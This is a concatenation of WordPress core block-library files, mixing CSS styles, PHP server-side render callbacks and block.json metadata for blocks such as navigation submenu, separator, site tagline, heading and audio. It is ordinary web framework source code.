  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-left:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-right:5px;
  text-decoration:none;
}
.wp-block-tag-cloud.is-style-outline{
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}
.wp-block-tag-cloud.is-style-outline a{
  border:1px solid;
  font-size:unset !important;
  margin-left:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}<?php
/**
 * Server-side rendering of the `core/comments-pagination` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments-pagination` block on the server.
 *
 * @param array  $attributes Block attributes.
 * @param string $content    Block default content.
 *
 * @return string Returns the wrapper for the Comments pagination.
 */
function render_block_core_comments_pagination( $attributes, $content ) {
	if ( empty( trim( $content ) ) ) {
		return '';
	}

	if ( post_password_required() ) {
		return;
	}

	$classes            = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/comments-pagination` block on the server.
 */
function register_block_core_comments_pagination() {
	register_block_type_from_metadata(
		__DIR__ . '/comments-pagination',
		array(
			'render_callback' => 'render_block_core_comments_pagination',
		)
	);
}
add_action( 'init', 'register_block_core_comments_pagination' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/block",
	"title": "Pattern",
	"category": "reusable",
	"description": "Reuse this design across your site.",
	"keywords": [ "reusable" ],
	"textdomain": "default",
	"attributes": {
		"ref": {
			"type": "number"
		},
		"content": {
			"type": "object"
		}
	},
	"supports": {
		"customClassName": false,
		"html": false,
		"inserter": false,
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	}
}
.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{
  padding-left:0;
  padding-right:0;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{
  display:block;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{
  display:none;
}

.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{
  padding-left:0;
  padding-right:0;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{
  display:block;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{
  display:none;
}

.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/term-description",
	"title": "Term Description",
	"category": "theme",
	"description": "Display the description of categories, tags and custom taxonomies when viewing an archive.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"padding": true,
			"margin": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
:where(.wp-block-term-description){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}:where(.wp-block-term-description){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}<?php
/**
 * Server-side rendering of the `core/navigation-submenu` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_submenu_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @return string
 */
function block_core_navigation_submenu_render_submenu_icon() {
	return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}

/**
 * Renders the `core/navigation-submenu` block.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the post content with the legacy widget added.
 */
function render_block_core_navigation_submenu( $attributes, $content, $block ) {
	$navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] );
	$is_post_type           = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind'];
	$is_post_type           = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] );

	// Don't render the block's subtree if it is a draft.
	if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) {
		return '';
	}

	// Don't render the block's subtree if it has no label.
	if ( empty( $attributes['label'] ) ) {
		return '';
	}

	$font_sizes      = block_core_navigation_submenu_build_css_font_sizes( $block->context );
	$style_attribute = $font_sizes['inline_styles'];

	$css_classes = trim( implode( ' ', $font_sizes['css_classes'] ) );
	$has_submenu = count( $block->inner_blocks ) > 0;
	$kind        = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] );
	$is_active   = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind );

	$show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'];
	$open_on_click           = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick'];
	$open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] &&
		$show_submenu_indicators;

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) .
			( $open_on_click ? ' open-on-click' : '' ) . ( $open_on_hover_and_click ? ' open-on-hover-click' : '' ) .
			( $is_active ? ' current-menu-item' : '' ),
			'style' => $style_attribute,
		)
	);

	$label = '';

	if ( isset( $attributes['label'] ) ) {
		$label .= wp_kses_post( $attributes['label'] );
	}

	$aria_label = sprintf(
		/* translators: Accessibility text. %s: Parent page title. */
		__( '%s submenu' ),
		wp_strip_all_tags( $label )
	);

	$html = '<li ' . $wrapper_attributes . '>';

	// If Submenus open on hover, we render an anchor tag with attributes.
	// If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click.
	if ( ! $open_on_click ) {
		$item_url = isset( $attributes['url'] ) ? $attributes['url'] : '';
		// Start appending HTML attributes to anchor tag.
		$html .= '<a class="wp-block-navigation-item__content"';

		// The href attribute on a and area elements is not required;
		// when those elements do not have href attributes they do not create hyperlinks.
		// But also The href attribute must have a value that is a valid URL potentially
		// surrounded by spaces.
		// see: https://html.spec.whatwg.org/multipage/links.html#links-created-by-a-and-area-elements.
		if ( ! empty( $item_url ) ) {
			$html .= ' href="' . esc_url( $item_url ) . '"';
		}

		if ( $is_active ) {
			$html .= ' aria-current="page"';
		}

		if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) {
			$html .= ' target="_blank"  ';
		}

		if ( isset( $attributes['rel'] ) ) {
			$html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"';
		} elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) {
			$html .= ' rel="nofollow"';
		}

		if ( isset( $attributes['title'] ) ) {
			$html .= ' title="' . esc_attr( $attributes['title'] ) . '"';
		}

		$html .= '>';
		// End appending HTML attributes to anchor tag.

		$html .= $label;

		$html .= '</a>';
		// End anchor tag content.

		if ( $show_submenu_indicators ) {
			// The submenu icon is rendered in a button here
			// so that there's a clickable element to open the submenu.
			$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">' . block_core_navigation_submenu_render_submenu_icon() . '</button>';
		}
	} else {
		// If menus open on click, we render the parent as a button.
		$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation-item__content wp-block-navigation-submenu__toggle" aria-expanded="false">';

		// Wrap title with span to isolate it from submenu icon.
		$html .= '<span class="wp-block-navigation-item__label">';

		$html .= $label;

		$html .= '</span>';

		$html .= '</button>';

		$html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_submenu_render_submenu_icon() . '</span>';

	}

	if ( $has_submenu ) {
		// Copy some attributes from the parent block to this one.
		// Ideally this would happen in the client when the block is created.
		if ( array_key_exists( 'overlayTextColor', $block->context ) ) {
			$attributes['textColor'] = $block->context['overlayTextColor'];
		}
		if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) {
			$attributes['backgroundColor'] = $block->context['overlayBackgroundColor'];
		}
		if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) {
			$attributes['style']['color']['text'] = $block->context['customOverlayTextColor'];
		}
		if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) {
			$attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor'];
		}

		// This allows us to be able to get a response from wp_apply_colors_support.
		$block->block_type->supports['color'] = true;
		$colors_supports                      = wp_apply_colors_support( $block->block_type, $attributes );
		$css_classes                          = 'wp-block-navigation__submenu-container';
		if ( array_key_exists( 'class', $colors_supports ) ) {
			$css_classes .= ' ' . $colors_supports['class'];
		}

		$style_attribute = '';
		if ( array_key_exists( 'style', $colors_supports ) ) {
			$style_attribute = $colors_supports['style'];
		}

		$inner_blocks_html = '';
		foreach ( $block->inner_blocks as $inner_block ) {
			$inner_blocks_html .= $inner_block->render();
		}

		if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) {
			$tag_processor = new WP_HTML_Tag_Processor( $html );
			while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item__content' ) ) ) {
				$tag_processor->add_class( 'current-menu-ancestor' );
			}
			$html = $tag_processor->get_updated_html();
		}

		$wrapper_attributes = get_block_wrapper_attributes(
			array(
				'class' => $css_classes,
				'style' => $style_attribute,
			)
		);

		$html .= sprintf(
			'<ul %s>%s</ul>',
			$wrapper_attributes,
			$inner_blocks_html
		);

	}

	$html .= '</li>';

	return $html;
}

/**
 * Register the navigation submenu block.
 *
 * @uses render_block_core_navigation_submenu()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation_submenu() {
	register_block_type_from_metadata(
		__DIR__ . '/navigation-submenu',
		array(
			'render_callback' => 'render_block_core_navigation_submenu',
		)
	);
}
add_action( 'init', 'register_block_core_navigation_submenu' );
<?php
/**
 * Server-side rendering of the `core/site-tagline` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/site-tagline` block on the server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_site_tagline( $attributes ) {
	$site_tagline = get_bloginfo( 'description' );
	if ( ! $site_tagline ) {
		return;
	}
	$align_class_name   = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );

	return sprintf(
		'<p %1$s>%2$s</p>',
		$wrapper_attributes,
		$site_tagline
	);
}

/**
 * Registers the `core/site-tagline` block on the server.
 */
function register_block_core_site_tagline() {
	register_block_type_from_metadata(
		__DIR__ . '/site-tagline',
		array(
			'render_callback' => 'render_block_core_site_tagline',
		)
	);
}
add_action( 'init', 'register_block_core_site_tagline' );
<?php
/**
 * Server-side rendering of the `core/query-pagination` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-pagination` block on the server.
 *
 * @param array  $attributes Block attributes.
 * @param string $content    Block default content.
 *
 * @return string Returns the wrapper for the Query pagination.
 */
function render_block_core_query_pagination( $attributes, $content ) {
	if ( empty( trim( $content ) ) ) {
		return '';
	}

	$classes            = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : '';
	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'aria-label' => __( 'Pagination' ),
			'class'      => $classes,
		)
	);

	return sprintf(
		'<nav %1$s>%2$s</nav>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/query-pagination` block on the server.
 */
function register_block_core_query_pagination() {
	register_block_type_from_metadata(
		__DIR__ . '/query-pagination',
		array(
			'render_callback' => 'render_block_core_query_pagination',
		)
	);
}
add_action( 'init', 'register_block_core_query_pagination' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/shortcode",
	"title": "Shortcode",
	"category": "widgets",
	"description": "Insert additional custom elements with a WordPress shortcode.",
	"textdomain": "default",
	"attributes": {
		"text": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"className": false,
		"customClassName": false,
		"html": false
	},
	"editorStyle": "wp-block-shortcode-editor"
}
[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}[data-type="core/shortcode"].components-placeholder{
  min-height:0;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}[data-type="core/shortcode"].components-placeholder{
  min-height:0;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/separator",
	"title": "Separator",
	"category": "design",
	"description": "Create a break between ideas or sections with a horizontal separator.",
	"keywords": [ "horizontal-line", "hr", "divider" ],
	"textdomain": "default",
	"attributes": {
		"opacity": {
			"type": "string",
			"default": "alpha-channel"
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "center", "wide", "full" ],
		"color": {
			"enableContrastChecker": false,
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"background": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"spacing": {
			"margin": [ "top", "bottom" ]
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{ "name": "default", "label": "Default", "isDefault": true },
		{ "name": "wide", "label": "Wide Line" },
		{ "name": "dots", "label": "Dots" }
	],
	"editorStyle": "wp-block-separator-editor",
	"style": "wp-block-separator"
}
.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}
.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
}@charset "UTF-8";
.wp-block-separator{
  border:none;
  border-top:2px solid;
}
.wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
  height:auto;
  line-height:1;
  text-align:center;
}
.wp-block-separator.is-style-dots:before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}@charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}
.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
}@charset "UTF-8";.wp-block-separator{border:none;border-top:2px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}@charset "UTF-8";
.wp-block-separator{
  border:none;
  border-top:2px solid;
}
.wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
  height:auto;
  line-height:1;
  text-align:center;
}
.wp-block-separator.is-style-dots:before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination-next",
	"title": "Next Page",
	"category": "theme",
	"parent": [ "core/query-pagination" ],
	"description": "Displays the next posts page link.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [
		"queryId",
		"query",
		"paginationArrow",
		"showLabel",
		"enhancedPagination"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
<?php
/**
 * Appending the wp-block-heading to before rendering the stored `core/heading` block contents.
 *
 * @package WordPress
 */

/**
 * Adds a wp-block-heading class to the heading block content.
 *
 * For example, the following block content:
 *  <h2 class="align-left">Hello World</h2>
 *
 * Would be transformed to:
 *  <h2 class="align-left wp-block-heading">Hello World</h2>
 *
 * @param array  $attributes Attributes of the block being rendered.
 * @param string $content Content of the block being rendered.
 *
 * @return string The content of the block being rendered.
 */
function block_core_heading_render( $attributes, $content ) {
	if ( ! $content ) {
		return $content;
	}

	$p = new WP_HTML_Tag_Processor( $content );

	$header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' );
	while ( $p->next_tag() ) {
		if ( in_array( $p->get_tag(), $header_tags, true ) ) {
			$p->add_class( 'wp-block-heading' );
			break;
		}
	}

	return $p->get_updated_html();
}

/**
 * Registers the `core/heading` block on server.
 */
function register_block_core_heading() {
	register_block_type_from_metadata(
		__DIR__ . '/heading',
		array(
			'render_callback' => 'block_core_heading_render',
		)
	);
}

add_action( 'init', 'register_block_core_heading' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/audio",
	"title": "Audio",
	"category": "media",
	"description": "Embed a simple audio player.",
	"keywords": [ "music", "sound", "podcast", "recording" ],
	"textdomain": "default",
	"attributes": {
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "src",
			"__experimentalRole": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"__experimentalRole": "content"
		},
		"id": {
			"type": "number",
			"__experimentalRole": "content"
		},
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "autoplay"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "audio",
			"attribute": "loop"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "audio",
			"attribute": "preload"
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-audio-editor",
	"style": "wp-block-audio"
}
.wp-block-audio figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio figcaption{
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-audio figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio figcaption{
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-audio audio{
  min-width:300px;
  width:100%;
}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-audio{
  box-sizing:border-box;
}
.wp-block-audio figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
